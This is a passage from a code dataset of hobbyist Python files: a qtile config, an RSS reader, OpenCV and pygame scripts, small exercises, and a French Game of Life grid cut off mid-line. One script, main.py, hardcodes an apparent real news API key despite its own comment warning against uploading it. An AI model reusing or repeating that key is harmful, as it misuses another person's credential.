token_value=None):\n \"\"\"docstring for __stack_push\"\"\"\n self._stackTokenTypes.append(token_type)\n if token_value is None:\n token_value = self._buffer\n\n self._stackTokenValues.append(token_value)\n self._buffer = ''\n\n def __stack_pop(self):\n \"\"\" pop value from stack \"\"\"\n t_type = self._stackTokenTypes.pop()\n self._previousStackTokenType = t_type\n return t_type, self._stackTokenValues.pop()\n\n def __stack_get_last_type(self):\n \"\"\"docstring for __stack_get_last_type\"\"\"\n if len(self._stackTokenTypes) > 0:\n return self._stackTokenTypes[-1]\n else:\n return None\n\n def __stack_get_last_key(self):\n \"\"\" returns last inserted value\"\"\"\n depth = False\n\n for i in range(len(self._stackTokenTypes) - 1, -1, -1):\n if self._stackTokenTypes[i] == TTYPE_NAME:\n depth = i\n break\n\n if depth is not False:\n return self._stackTokenValues[depth]\n","sub_path":"pyorient/serialization.py","file_name":"serialization.py","file_ext":"py","file_size_in_byte":23491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"166300146","text":"import feedparser\nimport time\nimport json\n\n\nclass RssFeedPlug:\n waitTimer = 60\n source = None\n type = 'RSS-agent | Source : '\n\n def __init__(self, source, timer=60):\n if timer >= 5:\n self.waitTimer = timer\n if source:\n self.source = source\n else:\n raise RuntimeError(\"No source provided for RSS feed\")\n self.type += source\n\n def getConstantFeed(self):\n while 1:\n data = feedparser.parse(self.source)\n time.sleep(self.waitTimer)\n if self.source == \"http://www.lefigaro.fr/rss/figaro_actualites.xml\":\n with open(\"./judge.txt\", 'w+').write(data):\n pass\n else:\n print(data)\n\n @staticmethod\n def getPunctualFeed(rss):\n data = feedparser.parse(rss)\n if data.bozo == 1:\n raise data.bozo_exception\n return data\n\n","sub_path":"newssourceaggregator/rssFeedPlug.py","file_name":"rssFeedPlug.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"233821611","text":"import os\nimport subprocess\nimport pyudev\nfrom Xlib import display as xdisplay\n\nfrom typing import List # noqa: F401\n\nfrom libqtile import bar, layout, widget, hook\nfrom libqtile.config import Click, Drag, Group, Key, Screen, Match, ScratchPad, DropDown\nfrom libqtile.lazy import lazy\nfrom libqtile.log_utils import logger\n\ncontrol = \"control\"\nshift = \"shift\"\nalt = \"mod1\"\nmod = \"mod4\"\n# xephyr mod\n# mod = alt\n\nterm = \"alacritty\"\n\nkeys = [\n Key([mod], \"h\", lazy.layout.left()),\n Key([mod], \"l\", lazy.layout.right()),\n Key([mod], \"j\", lazy.layout.down()),\n Key([mod], \"k\", lazy.layout.up()),\n Key([mod, control], \"h\", lazy.layout.swap_left()),\n Key([mod, control], \"l\", lazy.layout.swap_right()),\n Key([mod, control], \"j\", lazy.layout.shuffle_down()),\n Key([mod, control], \"k\", lazy.layout.shuffle_up()),\n Key([mod, shift], \"l\", lazy.layout.grow()),\n Key([mod, shift], \"h\", lazy.layout.shrink()),\n Key([mod], \"equal\", lazy.layout.normalize()),\n Key([mod], \"c\", lazy.window.kill(), desc=\"Kill focused window\"),\n Key([mod], \"q\", lazy.to_screen(0), desc=\"Keyboard focus to monitor 1\"),\n Key([mod], \"w\", lazy.to_screen(1), desc=\"Keyboard focus to monitor 2\"),\n Key([mod], \"Return\", lazy.spawn(term)),\n # Toggle between different layouts as defined below\n Key([mod], \"Tab\", lazy.next_layout(), desc=\"Toggle between layouts\"),\n Key([mod, control], \"f\", lazy.window.toggle_floating()),\n Key([mod, alt], \"m\", lazy.to_layout_index(1)),\n Key([mod, alt], \"s\", lazy.to_layout_index(0)),\n Key([mod, control], \"r\", lazy.restart(), desc=\"Restart qtile\"),\n Key([mod, control], \"q\", lazy.shutdown(), desc=\"Shutdown qtile\"),\n Key([mod], \"r\", lazy.spawn(\"rofi -show drun\")),\n Key([mod, control], \"space\", lazy.spawn(\"rofimoji\")),\n Key([mod], \"m\", lazy.spawn(os.path.expanduser(\"~/.config/rofi/rofi-layouts-changer.sh\"))),\n Key([], \"Print\", lazy.spawn(\"gnome-screenshot\")),\n Key([shift], \"Print\", lazy.spawn(\"gnome-screenshot -i\")),\n Key([mod], \"b\", lazy.spawn(\"google-chrome\")),\n Key([mod], \"n\", lazy.spawn(term + ' --class=\"term-ranger\" -e ranger')),\n # scratchpads\n Key([mod], \"x\", lazy.group[\"scratchpad\"].dropdown_toggle(\"keepassxc\")),\n]\n\ngroups = [\n ScratchPad(\n \"scratchpad\",\n [\n DropDown(\n \"keepassxc\",\n \"keepassxc\",\n x=0.3,\n y=0.2,\n width=0.4,\n height=0.6,\n on_focus_lost_hide=True,\n )\n ],\n ),\n Group(\"a\", label=\"\", layout=\"max\", matches=[Match(wm_class=[\"Google-chrome\"]),]),\n Group(\"s\", label=\"\", layout=\"max\", matches=[Match(wm_class=[\"kitty-nvim\"]),]),\n Group(\"d\"),\n Group(\"f\"),\n Group(\"u\"),\n Group(\"i\"),\n Group(\"o\", label=\"\", matches=[Match(wm_class=[\"Evolution\"])]),\n Group(\"p\", label=\"\", matches=[Match(wm_class=[\"Microsoft Teams - Preview\"])]),\n]\n\nfor i in groups[1:]:\n keys.extend(\n [\n # mod1 + letter of group = switch to group\n Key(\n [mod],\n i.name,\n lazy.group[i.name].toscreen(),\n desc=\"Switch to group {}\".format(i.name),\n ),\n # mod1 + shift + letter of group = switch to & move focused window to\n # group\n Key(\n [mod, \"shift\"],\n i.name,\n lazy.window.togroup(i.name, switch_group=True),\n desc=\"Switch to & move focused window to group {}\".format(i.name),\n ),\n # Or, use below if you prefer not to switch to that group.\n # # mod1 + shift + letter of group = move focused window to group\n # Key([mod, \"shift\"], i.name, lazy.window.togroup(i.name),\n # desc=\"move focused window to group {}\".format(i.name)),\n ]\n )\n\nlColors = {\n \"border_focus\": \"cc241d\",\n \"border_normal\": \"3c3836\",\n \"border_width\": 3,\n \"margin\": 5,\n}\n\nlayouts = [\n layout.MonadTall(**lColors),\n layout.Max(**lColors),\n layout.MonadWide(),\n # Try more layouts by unleashing below layouts.\n # layout.Bsp(),\n # layout.Columns(),\n # layout.Matrix(),\n # layout.RatioTile(),\n # layout.Stack(**lColors, num_stacks=2),\n # layout.Tile(),\n # layout.TreeTab(),\n # layout.VerticalTile(),\n # layout.Zoomy(),\n]\n\nwidget_defaults = dict(font=\"Ubuntu Regular\", fontsize=14, padding=3, foreground=\"ebdbb2\",)\nextension_defaults = widget_defaults.copy()\n\nslave_screen = Screen(\n top=bar.Bar(\n [\n widget.Spacer(length=10),\n widget.CurrentLayoutIcon(scale=0.6),\n widget.GroupBox(\n active=\"ebdbb2\",\n inactive=\"665c54\",\n this_current_screen_border=\"ebdbb2\",\n highlight_method=\"line\",\n highlight_color=[\"3c3836\", \"3c3836\"],\n center_aligned=True,\n ),\n widget.WindowName(width=600, for_current_screen=True),\n widget.Spacer(length=bar.STRETCH),\n widget.Clock(format=\"%H:%M %d.%m.%Y\"),\n widget.Spacer(length=bar.STRETCH),\n widget.Spacer(length=10),\n ],\n 30,\n background=\"282828\",\n opacity=0.95,\n margin=[3, 0, 3, 0],\n ),\n)\n\nmaster_screen = Screen(\n top=bar.Bar(\n [\n widget.Spacer(length=10),\n widget.CurrentLayoutIcon(scale=0.6),\n widget.GroupBox(\n active=\"ebdbb2\",\n inactive=\"665c54\",\n this_current_screen_border=\"ebdbb2\",\n highlight_method=\"line\",\n highlight_color=[\"3c3836\", \"3c3836\"],\n center_aligned=True,\n ),\n widget.WindowName(width=600, for_current_screen=True),\n widget.Spacer(length=bar.STRETCH),\n widget.Clock(format=\"%H:%M %d.%m.%Y\"),\n widget.Spacer(length=bar.STRETCH),\n widget.Systray(),\n widget.Spacer(length=10),\n widget.BatteryIcon(theme_path=os.path.expanduser(\"~/.config/qtile/battery-icons\"),),\n widget.Battery(format=\"{percent:2.0%}\", **widget_defaults),\n widget.Spacer(length=10),\n ],\n 30,\n background=\"282828\",\n opacity=0.95,\n margin=[3, 0, 3, 0],\n ),\n)\n\n\ndef get_num_monitors():\n num_monitors = 0\n try:\n display = xdisplay.Display()\n screen = display.screen()\n resources = screen.root.xrandr_get_screen_resources()\n\n for output in resources.outputs:\n monitor = display.xrandr_get_output_info(output, resources.config_timestamp)\n preferred = False\n if hasattr(monitor, \"preferred\"):\n preferred = monitor.preferred\n elif hasattr(monitor, \"num_preferred\"):\n preferred = monitor.num_preferred\n if preferred:\n num_monitors += 1\n except Exception as e:\n # always setup at least one monitor\n return 1\n else:\n return num_monitors\n\n\ncount = get_num_monitors()\nmirror = os.path.exists(\"/tmp/QTILE_SCREEN_MIRROR\")\n\nsubprocess.call(\n os.path.expanduser(\n \"~/.config/qtile/screenlayouts/{}{}screens.sh\".format(\n \"mirror\" if mirror else \"\", str(count)\n )\n )\n)\n\nscreens = list(map(lambda i: master_screen if i == 0 else slave_screen, range(count)))\n\n# Drag floating layouts.\nmouse = [\n Drag([mod], \"Button1\", lazy.window.set_position_floating(), start=lazy.window.get_position()),\n Drag([mod], \"Button3\", lazy.window.set_size_floating(), start=lazy.window.get_size()),\n Click([mod], \"Button2\", lazy.window.bring_to_front()),\n]\n\ndgroups_key_binder = None\ndgroups_app_rules = [] # type: List\nmain = None\nfollow_mouse_focus = True\nbring_front_click = False\ncursor_warp = False\nfloating_layout = layout.Floating(\n float_rules=[\n # Run the utility of `xprop` to see the wm class and name of an X client.\n {\"wmclass\": \"confirm\"},\n {\"wmclass\": \"dialog\"},\n {\"wmclass\": \"download\"},\n {\"wmclass\": \"error\"},\n {\"wmclass\": \"file_progress\"},\n {\"wmclass\": \"notification\"},\n {\"wmclass\": \"splash\"},\n {\"wmclass\": \"toolbar\"},\n {\"wmclass\": \"confirmreset\"}, # gitk\n {\"wmclass\": \"makebranch\"}, # gitk\n {\"wmclass\": \"maketag\"}, # gitk\n {\"wname\": \"branchdialog\"}, # gitk\n {\"wname\": \"pinentry\"}, # GPG key password entry\n {\"wmclass\": \"ssh-askpass\"}, # ssh-askpass\n {\"wmclass\": \"gnome-screenshot\"},\n {\"wmclass\": \"Evolution-alarm-notify\"},\n ]\n)\nauto_fullscreen = True\nfocus_on_window_activation = \"smart\"\n\n\n@hook.subscribe.client_new\ndef floating_dialogs(window):\n dialog = (\n window.window.get_wm_type() == \"dialog\" or window.window.get_wm_type() == \"notification\"\n )\n transient = window.window.get_wm_transient_for()\n if dialog or transient:\n window.floating = True\n\n\n# XXX: Gasp! We\"re lying here. In fact, nobody really uses or cares about this\n# string besides java UI toolkits; you can see several discussions on the\n# mailing lists, GitHub issues, and other WM documentation that suggest setting\n# this string if your java app doesn\"t work correctly. We may as well just lie\n# and say that we\"re a working one by default.\n#\n# We choose LG3D to maximize irony: it is a 3D non-reparenting WM written in\n# java that happens to be on java\"s whitelist.\nwmname = \"LG3D\"\n\n\n@hook.subscribe.startup_once\ndef autostart():\n subprocess.call(os.path.expanduser(\"~/.config/qtile/autostart.sh\"))\n\n\ndef detect_screens(qtile):\n def setup_monitors(action=None, device=None):\n if action == \"change\":\n qtile.cmd_restart()\n\n setup_monitors()\n\n context = pyudev.Context()\n monitor = pyudev.Monitor.from_netlink(context)\n monitor.filter_by(\"drm\")\n monitor.enable_receiving()\n\n # observe if the monitors change and reset monitors config\n observer = pyudev.MonitorObserver(monitor, setup_monitors)\n observer.start()\n\n\ndef main(qtile):\n detect_screens(qtile)\n","sub_path":"qtile/.config/qtile/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":10101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"508380962","text":"# -*- coding:utf-8 -*-\nimport cv2\nimport numpy as np\n\n\ndef main():\n # 入力画像を読み込み\n img = cv2.imread(\"./OpenCV_Python/Basic/input_tone.jpg\")\n\n # グレースケール変換\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n\n # 線形濃度変換\n a, k = 0.7, 20\n zmin, zmax = 20.0, 220.0\n gray = a * gray # コントラストを低くする (a<1)\n # gray = gray + k # コントラストが全体的に明るくなる (k>1)\n # gray = a * (gray - 127.0) + 127.0 # コントラストを弱める (a<1)\n # gray = gray.max() * (gray - zmin)/(zmax - zmin) # ヒストグラムの拡張\n\n # 画素値を0~255の範囲内に収める\n gray[gray < 0] = 0\n gray[gray > 255] = 255\n\n # 結果の出力\n cv2.imwrite(\"./OpenCV_Python/Basic/output_tone.jpg\", gray)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"OpenCV_Python/Basic/tone.py","file_name":"tone.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"189385990","text":"import sys\nimport pygame\n\n# Initialize game details\npygame.init()\ndisplayInfo = pygame.display.Info()\nscreen = pygame.display.set_mode(\n (displayInfo.current_w, displayInfo.current_h), pygame.FULLSCREEN\n)\npygame.display.set_caption(\"Muazzam Kekik\")\nclock = pygame.time.Clock()\n\n# Set background color\nscreen.fill((35, 35, 35))\n\n# Put a header to game\nfont = pygame.font.SysFont(\"papyrus\", 192)\ntext = font.render(\"Muazzam Kekik\", True, (255, 1, 0))\nscreen.blit(text, ((displayInfo.current_w - text.get_width()) // 2, 0))\n\n# Draw the gameframe\n\n\n# Event listener loop\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT or (\n event.type == pygame.KEYDOWN and event.key == pygame.K_q\n ):\n pygame.quit()\n sys.exit()\n if event.type == pygame.MOUSEBUTTONUP:\n pass\n # implement mouse handling here\n\n pygame.display.update()\n clock.tick(45)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"131870873","text":"from cImage import *\n\ndef halfImage(oldImage):\n oldW = oldImage.getWidth()\n oldH = oldImage.getHeight()\n\n newIm = EmptyImage(oldW//2, oldH//2)\n\n for row in range(oldH):\n for col in range(oldW):\n oldPixel = oldImage.getPixel(col, row)\n if col % 2 == 1 and row % 2 == 1:\n newIm.setPixel(col//2, row//2, oldPixel)\n\n return newIm\n\n\n\ndef makeHalfImage(imageFile):\n oldImage = FileImage(imageFile)\n width = oldImage.getWidth()\n height = oldImage.getHeight()\n\n myWin = ImageWin(\"Half Size\", width * 1, height * 1.5)\n oldImage.draw(myWin)\n\n newImage = halfImage(oldImage)\n newImage.setPosition(0, oldImage.getHeight() + 1)\n newImage.draw(myWin)\n\n myWin.exitOnClick()\n\nif __name__ == '__main__':\n makeHalfImage('castle.gif')","sub_path":"LocalWindows_May2021/PycharmProjects - ee361/lab5/halfImage.py","file_name":"halfImage.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"389210991","text":"'''\nChecking the divisibility of a number from andother number\na is dividend\nb is divisor\n'''\n\ndef div_num(d1, d2):\n if d1 == d2:\n if d2 == 0:\n return \"0/0 not possible\"\n else:\n return True\n elif d1 > d2:\n if d2 == 0:\n return \"division by 0 not possible, d2 is 0\"\n elif (d1 % d2) == 0:\n return True \n else:\n return False \n elif d1 == 0:\n return \"division by 0 not possible, d1 is 0\"\n\nfor i in range(5):\n print(f\"running for the {i + 1}th time\")\n a = int(input(\"Enter dividend number : \")) \n b = int(input(\"Enter divisor : \")) \n num = div_num(a, b)\n print(\"number is divisible:\", num)","sub_path":"Assignments/Aug292020/divisibility_number.py","file_name":"divisibility_number.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"141110664","text":"import logging\n\nimport retrieve\nimport label\n\n# This is the main file of our project.\n\nlogging.basicConfig(filename='logger.log', level=logging.INFO)\n# Do not upload your API to Github.\nAPI_KEY = \"720d230ca272413e97142066c89784ae\"\n\nraw_data_file_name = \"headlines_raw_data.txt\"\nlabelled_file_name = \"labelled_headlines.json\"\n\nretrieve_object = retrieve.Retrieve()\nretrieve_object.set_file_name(raw_data_file_name)\nretrieve_object.set_API_KEY(API_KEY)\nlogging.info(\"Retrieve object has been created.\")\nretrieve_object.retrieve()\nretrieve_object.write_to_file()\nlogging.info(\"Retrieve module executed successfully.\")\n\nlabel_object = label.Label()\nlabel_object.set_file_name(raw_data_file_name)\nlabel_object.set_labelled_file_name(labelled_file_name)\nif label_object.get_file_name() != retrieve_object.get_file_name():\n logging.warning(\"Labelling a different file other than retrieved one!\")\n\nlogging.info(\"Retrieve object has been created.\")\nlabel_object.label_headline()\nlabel_object.write_to_file()\n\nlogging.info(\"Label module executed successfully.\")","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"466292921","text":"# On importe pygame et sys\nimport pygame, sys\n# On importe les constantes pygame\nfrom pygame.locals import *\n# On importe notre programme 'Cellule.py'\nfrom Cellule import *\n# On importe les parametres de notre projet\nfrom parametres import *\n\n\nclass Bouton:\n \"\"\"\n La classe Bouton permet de creer des images cliquables.\n un objet de cette classe prend en parametres :\n -le chemin d'acces a l'image\n -la position de l'image\n \"\"\"\n def __init__(self, image, position):\n self.image = image\n self.image = pygame.image.load(self.image).convert_alpha() # convert_alpha permet de conserver la transparence\n self.image = pygame.transform.scale(self.image, (HAUTEUR_BARRE, HAUTEUR_BARRE))# on change la taille de l'image\n # pour la hauteur de la barre d'options\n self.position = position\n self.rectangle = Rect(self.position + self.image.get_size()) #on cree un rectangle qui correcpond a la zone cliquable\n\nclass Texte:\n \"\"\"\n La classe Texte permet de creer des textes.\n Un objet de cette classe prend en parametres:\n -la police de caractere (font)\n -le message (chaine de caracteres)\n - la couleur du texte\n -la position du texte\n \"\"\"\n def __init__(self, font, message, couleur, position):\n self.font = font\n self.message = str(message)\n self.couleur = couleur\n self.position = position\n self.texte = self.font.render(self.message, True, couleur)\n\nclass Barre:\n \"\"\"\n La classe Barre permet de creer et d'afficher une barre d'options sur la fenetre.\n L'objet Barre prend uniquement la surface (la fenetre) comme parametre\n \"\"\"\n def __init__(self, fenetre):\n \"\"\"\n On cree plusieurs objets de la classe Bouton\n \"\"\"\n self.fenetre = fenetre\n self.retour = Bouton(\"images/retour.png\", (0, 0))\n self.croix = Bouton(\"images/croix.png\", (LARGEUR - HAUTEUR_BARRE, 0))\n self.lecture = Bouton(\"images/lecture.png\", (LARGEUR // 2, 0))\n self.pause = Bouton(\"images/pause.png\", (LARGEUR // 2, 0))\n self.suivant = Bouton(\"images/suivant.png\", (LARGEUR // 2 + HAUTEUR_BARRE, 0))\n self.poubelle = Bouton(\"images/poubelle.png\", (LARGEUR - LARGEUR // 4, 0))\n self.exemple = Bouton(\"images/exemple2.png\", (LARGEUR - LARGEUR // 3, 0))\n self.reset = Bouton(\"images/reset.png\", (LARGEUR // 10 - HAUTEUR_BARRE, 0))\n\n def afficher(self, stop, generation):\n \"\"\"\n Cette fonction permet d'afficher et de modfier le contenu de la barre d'options.\n Pour creer cette barre d'options, on dessine un rectangle gris qui prend toute la largeur de la fenetre\n et une certaine hauteur definie dans le fichier 'parametres.py' dans PARAMETRES DE LA GRILLE >> HAUTEUR_BARRE.\n Cette fonction affiche par dessus le rectangle gris les boutons crees precedemment ainsi que le nombre\n de generation. Elle permet egalement de remplacer le bouton 'lecture' par 'pause' et inversement.\n \"\"\"\n pygame.draw.rect(self.fenetre, COULEUR_BARRE, [0, 0, LARGEUR, HAUTEUR_BARRE]) # On dessine le rectangle\n self.fenetre.blit(self.retour.image, self.retour.position) # on affiche le bouton 'retour'...\n self.fenetre.blit(self.croix.image, self.croix.position) #\n if stop == False:\n self.fenetre.blit(self.pause.image, self.pause.position)\n elif stop == True:\n self.fenetre.blit(self.lecture.image, self.lecture.position)\n self.fenetre.blit(self.suivant.image, self.suivant.position)\n self.fenetre.blit(self.poubelle.image, self.poubelle.position)\n self.fenetre.blit(self.exemple.image, self.exemple.position)\n self.fenetre.blit(self.reset.image, self.reset.position)\n generationTexte = Texte(fontSubTitle, \"Generation : \" + str(generation), COULEUR_GENERATION, (LARGEUR // 10, 0))\n self.fenetre.blit(generationTexte.texte, generationTexte.position)\n\n\n\nclass Grille:\n \"\"\"\n La classe Grille permet d'afficher et de mettre a jour l'ensemble de la fenetre.\n Elle cree la grille de depart (vide) et permet :\n -d'afficher la grille\n -de passer a la generation suivante\n -de remettre a 0 le nombre de generation\n -d'effacer la grille\n -d'afficher la figure d'exemple\n Son seul parametre est la surface (fenetre)\n \"\"\"\n def __init__(self, fenetre):\n \"\"\"\n On recouvre la fenetre avec la couleur : COULEUR_FOND_GRILLE qui est aussi la couleur des marges entre chaque\n cellule.\n On initialise la grille (on la remplie de cellules mortes)\n On cree un objet Barre\n \"\"\"\n self.fenetre = fenetre\n self.fenetre.fill(COULEUR_FOND_GRILLE)\n self.grille = self.initialiserGrille()\n self.generation = 0\n self.stop = True\n self.barre = Barre(self.fenetre)\n\n def initialiserGrille(self):\n \"\"\"\n Cette fonction remplie la grille de cellules mortes.\n Elle renvoie la grille une fois remplie\n \"\"\"\n grille = []\n for ligne in range(NB_LIGNES):\n grille.append([])\n for colonne in range(NB_COLONNES):\n if ligne * (HAUTEUR_CELLULE + MARGE_CELLULE) >= HAUTEUR_BARRE:# pour chaque cellule si elle est\n # en dessous de la barre d'options\n nouvelle_cellule = Cellule(ligne, colonne, 0) # On cree un nouvel objet de notre classe 'Cellule'\n grille[ligne].append(nouvelle_cellule) # On l'ajoute dans notre grille\n nouvelle_cellule.afficher(self.fenetre) # et on l'affiche\n return grille\n\n def afficher(self):\n \"\"\"\n Cette fonction permet de relier les actions de l'utilisateur avec des modifications sur la fenetre.\n\n \"\"\"\n clock = pygame.time.Clock()\n\n # Important : la ligne qui suit cree un evenement USEREVENT toutes les TEMPS_ENTRE_GENERATION millisecondes !\n # C'est cette ligne qui permet de passer a la nouvelle generation de cellules toutes les TEMPS_ENTRE_GENERATION\n # milisecondes\n pygame.time.set_timer(USEREVENT, TEMPS_ENTRE_GENERATION)\n\n # On cree une boule infinie car on attend une action de l'utilisateur.\n while True:\n self.barre.afficher(self.stop, self.generation)# on affiche la barre d'options\n mouse = pygame.mouse.get_pos() # On recupere la position du curseur de la souris (absisse, ordonnee)\n sourisX = mouse[0]\n sourisY = mouse[1]\n for event in pygame.event.get(): # On etudie les evenements (les actions) qui se produisent\n if event.type == QUIT: # Si l'utilisateur ferme la fenetre\n sys.exit(0) # on quitte le programme\n elif event.type == MOUSEBUTTONDOWN: # Si l'action est faite sur la souris\n if sourisY > HAUTEUR_BARRE + HAUTEUR_CELLULE: # et si cette action est realisee lorsque le curseur\n # de la souris n'est pas sur la barre d'options (donc sur une cellule)\n colonne = sourisX // (LARGEUR_CELLULE + MARGE_CELLULE) # on recupere la colonne de la cellule\n ligne = sourisY // (HAUTEUR_CELLULE + MARGE_CELLULE) # on recupere la ligne de la cellule\n\n\n \"\"\" LES EVENEMENT LIES A LA SOURIS :\n event.button = 1 : clic gauche\n event.button = 2 : clic molette ou clic gauche + clic droit\n event.button = 3 : clic droit\n event.button = 4 : molette vers le haut\n event.button = 5 : molette vers le bas\"\"\"\n if event.button == 1 or event.button == 4: # donc si l'utilisateur a fait clic gauche ou scroll up\n if self.grille[ligne][colonne].statut == 0: # et si la cellule est morte\n self.grille[ligne][colonne].statut = 1 # la cellule devient vivante\n elif event.button == 3 or event.button == 5: # sinon si l'utilisateur fait clic droit ou scroll down\n if self.grille[ligne][colonne].statut == 1: # et si la cellule est vivante\n self.grille[ligne][colonne].statut = 0 # la cellule meurt\n self.grille[ligne][colonne].afficher(self.fenetre) # On affiche la cellule sur laquelle on a\n # realise une action pour appliquer les modifications\n\n elif event.button == 1: # Si on fait clic gauche\n if self.barre.croix.rectangle.collidepoint(mouse): # et si le curseur de la souris survole le\n # bouton 'croix'\n sys.exit(0) # on quitte le programme\n elif self.barre.retour.rectangle.collidepoint(mouse): # sinon si le curseur survole le bouton\n # 'retour'\n import main # on importe notre programme qui affiche la page d'accueil\n main.afficher_accueil() # et on execute sa fonction 'afficher_accueil'\n elif self.barre.poubelle.rectangle.collidepoint(mouse): # sinon si le curseur survole la poubelle\n self.effacer() # on efface la grille\n elif self.barre.exemple.rectangle.collidepoint(mouse): # sinon si la curseur survole le bouton\n # 'Exemple'\n self.afficher_exemple() # on affiche l'exemple\n elif self.barre.reset.rectangle.collidepoint(mouse): # sinon si le curseur survole le bouton\n # 'remettre a 0'\n self.remettre_a_0() # on remet le nombre de generations a 0\n\n play = False # Par defaut, on ne passe pas a la generation suivante\n if event.type == MOUSEBUTTONDOWN and event.button == 1 and self.barre.suivant.rectangle.collidepoint(mouse):\n # si on fait clic gauche et que le curseur est sur le bouton 'suivant'\n play = not play # On inverse la valeur de 'play' qui devient 'True'\n if event.type == MOUSEBUTTONDOWN and event.button == 1 and self.barre.lecture.rectangle.collidepoint(mouse):\n # si on fait clic gauche et que le curseur survole le bouton 'lecture' (ou le bouton 'pause' car ils\n # ont le meme rectangle)\n self.stop = not self.stop # on inverse la valeur de 'self.stop'\n\n if play or event.type == USEREVENT and not self.stop:\n # Si on detecte un evenement USEREVENT (il y en a toutes les TEMPS_ENTRE_GENERATION millisecondes)\n # OU si self.stop == False\n self.generation_suivante() # On peut passer a la generation suivante\n # Important : la condition precedente permet de n'avancer que d'une generation si on clique sur\n # 'suivant' ou d'avancer d'une generation toutes les TEMPS_ENTRE_GENERATION milisecondes si on clique\n # sur 'lecture'.\n\n clock.tick(IPS) # On fixe le nombre d'images par secondes a la valeur de IPS dans 'parametres.py'\n pygame.display.flip() # On met a jour la fenetre\n\n def generation_suivante(self):\n \"\"\"\n Cette fonction permet de passer a la generation suivante.\n Elle commence par compter le nombre de voisines de chaque cellule.\n Une fois que cela est fait, la fonction fait evoluer les cellules et les affiche\n Elle incremente egalement le nombre de generation de 1 a chaque fois qu'elle est appelee\n \"\"\"\n self.generation += 1\n for ligne in range(NB_LIGNES):\n for colonne in range(NB_COLONNES):\n if ligne * (HAUTEUR_CELLULE + MARGE_CELLULE) >= HAUTEUR_BARRE: # pour chaque cellule si elle est\n # en dessous de la barre d'options\n\n\n try:\n # La ligne de code qui suit peut generer une IndexError s'il s'agit d'une cellule collee a une\n # bordure de la fenetre\n # Cette erreur n'est pas derangeante c'est pourquoi on peut placer la ligen qui suit dans un\n # bloc try/except et ainsi atteindre la suite du programme\n self.grille[ligne][colonne].compterVoisines(self.grille)\n except IndexError: # si il y a une IndexError\n pass # On passe, on ne fait rien\n\n for ligne in range(NB_LIGNES):\n for colonne in range(NB_COLONNES):\n if ligne * (HAUTEUR_CELLULE + MARGE_CELLULE) >= HAUTEUR_BARRE:# pour chaque cellule si elle est\n # en dessous de la barre d'options\n if self.grille[ligne][colonne].evoluer(self.grille): # si la fonction 'evoluer' retourne 'True'\n # cela veut dire que la cellule doit changer de statut et qu'il faut donc l'afficher\n # pour la mettre a jour\n self.grille[ligne][colonne].afficher(self.fenetre) # on met a jour la cellule qui doit changer\n # de statut (morte -> vivante ou vivante -> morte)\n self.barre.afficher(self.stop, self.generation) # On affiche ensuite la barre d'options en passant comme\n # argument la valeur de 'self.stop' pour afficher le bouton 'lecture' ou le bouton 'pause' et le nombre de generation\n # pour l'afficher.\n\n def remettre_a_0(self):\n \"\"\"\n Cette fonction remet simplement la valeur de 'self.generation' a 0.\n \"\"\"\n self.generation = 0\n\n def effacer(self):\n \"\"\"\n Cette fonction permet d'effacer la grille, c'est-a-dire de remplacer toutes les cellules vivantes\n par des cellules mortes. Elle remet egalement le nombre de generations a 0.\n \"\"\"\n if not self.stop:\n self.stop = not self.stop\n self.remettre_a_0() # On remet le nombre de generations a 0\n for ligne in range(NB_LIGNES):\n for colonne in range(NB_COLONNES):\n if ligne * (HAUTEUR_CELLULE + MARGE_CELLULE) >= HAUTEUR_BARRE: # # pour chaque cellule si elle est\n # en dessous de la barre d'options\n if self.grille[ligne][colonne].statut == 1: # si elle est vivante\n self.grille[ligne][colonne].statut = 0 # alors elle meurt\n self.grille[ligne][colonne].afficher(self.fenetre) # et on met a jour la cellule en l'affichant\n\n def afficher_exemple(self):\n \"\"\"\n Cette fonction efface la grille et affiche un exemple de figure de depart au milieu de la grille.\n On affiche la figure colonne par colonne.\n ! LES VALEURS SONT CALCULEES EN FONCTION DE LA CELLULE DU MILIEU DE LA GRILLE !\n Exemple : la colonne -5 = 5 colonne AVANT la colonne de la cellule du milieu\n\n La largeur de la figure est de 10 cellules, on commence donc 5 cellules avant la cellule du milieu de\n la grille et on finit 4 cellules apres la cellules du milieu de la grille.\n Les colonnes (5, 4) , (-4, -3, 2, 3) et (-2, 1) sont les memes. La hauteur maximale d'une colonne est de 18\n cellules.\n Pour les colonnes 5 et 4:\n Pour les colonnes -4, -3, 2, 3: on affiche uniquement la -8eme et la 9eme cellule\n Pour les colonnes -2 et 1 : on affiche les 18 cellules\n \"\"\"\n self.effacer() # On efface la grille\n ligne_milieu = NB_LIGNES // 2 # on recupere la ligne de la cellule du milieu\n colonne_milieu = NB_COLONNES // 2 # on recupere la colonne de la cellule du milieu\n\n for colonne in range(-5, 5): # pour les colonnes entre -5 et 4 (5 exclu)\n if colonne == -5 or colonne == 4: # si la colonne == -5 ou 4\n for ligne in range(-8, 10): # pour les lignes entre -8 et 9 (10 exclu)\n if ligne != -8 and ligne != 9: # si la ligne est differente de -8 et 9\n self.grille[ligne_milieu + ligne][colonne_milieu + colonne].statut = 1 # la celulle devient vivante\n self.grille[ligne_milieu + ligne][colonne_milieu + colonne].afficher(self.fenetre) # on l'affiche\n elif colonne == -4 or colonne == -3 or colonne == 2 or 